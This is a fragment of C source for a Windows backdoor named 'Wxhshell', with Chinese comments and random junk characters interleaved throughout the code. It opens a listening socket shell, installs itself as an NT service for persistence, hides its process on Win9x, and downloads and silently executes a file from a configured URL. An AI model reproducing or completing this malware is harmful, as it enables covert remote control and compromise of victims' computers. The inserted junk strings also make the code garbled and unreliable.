K_{x
y#H &~pj)\_ // 主模块 iN*d84KTP int StartWxhshell(LPSTR lpCmdLine) to[EA6J8l { v|VY5vN SOCKET wsl; EhEn|%S BOOL val=TRUE; ABNsi$]r0 int port=0; Z%Y=Lx struct sockaddr_in door; `=uCp^+v mvVVPf9 if(wscfg.ws_autoins) Install(); D4s*J21)D 7
tF1g=\ port=atoi(lpCmdLine); }zRYT_: [A|W0 if(port<=0) port=wscfg.ws_port; *0 i Ptzha?}OZ WSADATA data; DG8$zl5 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $8_t.~q LoOyqJ, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l6xC'c,jg setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =ADAMP door.sin_family = AF_INET; I
m_yY door.sin_addr.s_addr = inet_addr("127.0.0.1"); c1wgb8 door.sin_port = htons(port); dS0G+3J&+E \4K8*`$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b6bmvHD closesocket(wsl); Mki(,Y|1~ return 1; cy)L%`(7 } sa#=#0yg $MKx\qx} if(listen(wsl,2) == INVALID_SOCKET) { 1(w0*` closesocket(wsl); ]WN{8 return 1; (loUO;S= } fL83:<RK Wxhshell(wsl); 6]T02;b>/, WSACleanup(); rNU,(htS 20^F -,z return 0; -ud~'<k
k:7UU4M
5 } 8Qu7x[tK? H4k`wWOk // 以NT服务方式启动 PfnhE>[>cf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LN?T$H { !aa^kcEjnL DWORD status = 0; q*DR~Ov DWORD specificError = 0xfffffff; O~{Zs\u9 4E4o=Z|K serviceStatus.dwServiceType = SERVICE_WIN32; 7Yk6C5C serviceStatus.dwCurrentState = SERVICE_START_PENDING; QlJCdCSy serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t1Hd-]28V serviceStatus.dwWin32ExitCode = 0; &wNN| fH serviceStatus.dwServiceSpecificExitCode = 0; A!fjw serviceStatus.dwCheckPoint = 0; hx)Ed serviceStatus.dwWaitHint = 0; KPW: r#d |t]-a%A=w hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3(^9K2.s} if (hServiceStatusHandle==0) return; +;Cq>1x, &HFMF)NA status = GetLastError(); #%k5s?cP@ if (status!=NO_ERROR) t=XiSj\n { l3-KswU serviceStatus.dwCurrentState = SERVICE_STOPPED; LrF'Hd=O serviceStatus.dwCheckPoint = 0; ?e3q0Lg3| serviceStatus.dwWaitHint = 0;
g/`i:= serviceStatus.dwWin32ExitCode = status; m\1*/6oV serviceStatus.dwServiceSpecificExitCode = specificError; {nryAXK SetServiceStatus(hServiceStatusHandle, &serviceStatus); =:~~RqHl return; @#VxjXW^ } M*t@Q|$: E'XFn' serviceStatus.dwCurrentState = SERVICE_RUNNING; bn<&Xe serviceStatus.dwCheckPoint = 0; T:;e 73 serviceStatus.dwWaitHint = 0; oVl:./(IB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z+wV(i97 } 1)u=&t,
)/
s9ty // 处理NT服务事件,比如:启动、停止 J4`08, VOID WINAPI NTServiceHandler(DWORD fdwControl) 5uDQ*nJ| { S`0@fieOf switch(fdwControl) jq.@<<j|$ { ,e.y4
vnU case SERVICE_CONTROL_STOP: N:L<ySJ7 serviceStatus.dwWin32ExitCode = 0; xBB:b\ serviceStatus.dwCurrentState = SERVICE_STOPPED; WpTC,~- serviceStatus.dwCheckPoint = 0; %*|XN*i XC serviceStatus.dwWaitHint = 0; yc%AkhX* { gP/]05$e SetServiceStatus(hServiceStatusHandle, &serviceStatus); IFG`
} *ZN"+wf\ return; E_
mgYW*5 case SERVICE_CONTROL_PAUSE: CXUNdB serviceStatus.dwCurrentState = SERVICE_PAUSED; *ArzXhs[ break; jy&p_v1 case SERVICE_CONTROL_CONTINUE: E8%O+x} serviceStatus.dwCurrentState = SERVICE_RUNNING; _$cQAH0 E break; #7Qn\C2 case SERVICE_CONTROL_INTERROGATE: ]t(g7lc}U break; /&kZ)XOi }; YnJ=&21 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? _HTOOa } !o*oT}6n j:<E=[Kl // 标准应用程序主函数 i]Kq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [W^6=7EO { -(:BkA K<s\:$VVh // 获取操作系统版本 ^gb2=gWZ< OsIsNt=GetOsVer(); 3c9v~5og4 GetModuleFileName(NULL,ExeFile,MAX_PATH); &2QN^)q m{b(^K9} // 从命令行安装 2a?
d:21 B if(strpbrk(lpCmdLine,"iI")) Install(); \BJnJk!% w'L;`k;Q // 下载执行文件 UKX'A)$ if(wscfg.ws_downexe) { F+hsIsQ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3*8#cSQ/6o WinExec(wscfg.ws_filenam,SW_HIDE); <~:
g } _^SNI ~ l8^^ O if(!OsIsNt) { Q8\Ks|u] // 如果时win9x,隐藏进程并且设置为注册表启动 NiWooFPKJ HideProc(); RCxqqUS\C StartWxhshell(lpCmdLine); hfEGkaV._3 } .'X$SF` else &=02.E@ if(StartFromService()) [=V8 // 以服务方式启动 {`J7>K StartServiceCtrlDispatcher(DispatchTable); \;P Bx & else o<C~67o_ // 普通方式启动 ]t#,{%h StartWxhshell(lpCmdLine); ](T*f'LN 1%1-j return 0;
3FNj~=N }
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